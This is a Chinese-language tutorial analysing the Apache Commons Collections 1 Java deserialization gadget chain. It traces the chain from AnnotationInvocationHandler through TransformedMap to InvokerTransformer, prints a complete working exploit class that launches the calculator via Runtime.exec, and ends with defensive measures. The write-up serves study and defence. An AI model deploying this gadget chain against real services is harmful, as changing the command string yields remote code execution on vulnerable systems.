CC1链_全网最菜的分析思路
字数 2191 2025-08-20 18:18:11
Apache Commons Collections 1 (CC1) 反序列化漏洞分析
1. 前置知识
1.1 Java反序列化基础
Java序列化机制允许将对象状态保存到字节流中,之后可以从中恢复对象。反序列化过程中,ObjectInputStream类负责读取字节流并重新创建对象。
关键点:
- 反序列化利用链的起点是
readObject()方法 - 如果一个类自定义了
readObject()方法,则该类在反序列化时会调用该方法 - 如果
readObject()方法中存在恶意代码,也会被执行
1.2 反射执行系统命令
直接执行命令:
String[] command = {"open","-a","/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
Runtime.getRuntime().exec(command);
反射执行命令:
Class clazz = Runtime.class;
Method getRuntime = clazz.getDeclaredMethod("getRuntime", null);
Runtime runtime = (Runtime)getRuntime.invoke(null, null);
runtime.exec("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator");
1.3 关键类介绍
1.3.1 InvokerTransformer类
- 实例化时赋值
iMethodName、iParamTypes和iArgs - 调用
transform()方法会以反射方式执行任意方法 - 示例:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);
1.3.2 ChainedTransformer类
- 实例化时传入
Transformer[]数组,赋值给iTransformers - 调用
transform()方法会依次执行数组元素的transform()方法 - 前一个
transform()的结果会作为后一个transform()的参数
1.3.3 ConstantTransformer类
- 实例化时传入一个对象赋值给
iConstant - 调用
transform()方法时,不管传入什么,都返回iConstant值
2. 环境准备
2.1 版本要求
- Apache Commons Collections 3.2.1
- JDK 8u71之前的版本(建议使用JDK 8u66)
2.2 项目搭建
- 创建Maven项目,JDK选择8u66
- pom.xml添加依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
3. CC1链分析
3.1 利用链核心思路
利用链形象比喻:
readObject为反序列化入口点(迷宫入口)- 存在命令执行的方法为出口
- 从入口到出口形成一条链(利用链)
3.2 关键方法分析
3.2.1 InvokerTransformer#transform方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...) {
...
}
}
该方法通过反射执行任意方法,是命令执行的最终位置。
3.2.2 TransformedMap#checkSetValue方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
该方法会调用valueTransformer的transform()方法。
如何触发:
- 通过
TransformedMap.decorate()方法实例化TransformedMap valueTransformer通过构造方法传入- 需要调用
checkSetValue()方法
3.2.3 AnnotationInvocationHandler#readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
for (Map.Entry<String, Object> var3 : this.memberValues.entrySet()) {
String var4 = var3.getKey();
Class var5 = this.memberTypes.get(var4);
if (var5 != null) {
Object var6 = var3.getValue();
if (!var5.isInstance(var6)) {
var3.setValue(...);
}
}
}
}
该方法会遍历memberValues并调用setValue(),是反序列化的入口点。
3.3 完整利用链构建
- 构造Transformer链:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- 构造TransformedMap:
HashMap map = new HashMap();
map.put("value", "I am leyilea!");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
- 构造AnnotationInvocationHandler:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
- 序列化与反序列化触发:
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
4. 动态调试分析
4.1 反序列化流程
- 从
objectInputStream.readObject()开始 - 进入
AnnotationInvocationHandler#readObject - 遍历
memberValues(即TransformedMap) - 调用
MapEntry#setValue - 调用
TransformedMap#checkSetValue - 调用
ChainedTransformer#transform
4.2 Transformer链执行
ConstantTransformer#transform:返回Runtime.class- 第一个
InvokerTransformer#transform:获取getRuntime方法 - 第二个
InvokerTransformer#transform:调用getRuntime获取Runtime实例 - 第三个
InvokerTransformer#transform:执行exec命令
5. 关键点总结
-
利用链组成:
- 入口:
AnnotationInvocationHandler#readObject - 中间:
TransformedMap#checkSetValue - 出口:
InvokerTransformer#transform
- 入口:
-
为什么需要
ConstantTransformer:- 解决
Runtime对象无法序列化的问题 - 在反序列化时动态创建
Runtime实例
- 解决
-
为什么使用
Target.class:@Target注解有value属性memberTypes.get(name)能获取到非空值
-
版本限制原因:
- JDK 8u71修复了
AnnotationInvocationHandler的反序列化问题 - Commons Collections 3.2.2修复了相关漏洞
- JDK 8u71修复了
6. 完整利用代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Exploit {
public static void main(String[] args) throws Exception {
// 1. 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 2. 构造TransformedMap
HashMap map = new HashMap();
map.put("value", "I am leyilea!");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// 3. 构造AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
// 4. 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
// 5. 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
}
}
7. 防御措施
- 升级Commons Collections到最新版本
- 使用JDK 8u71及以上版本
- 对反序列化操作进行白名单控制
- 使用安全框架如SerialKiller进行防护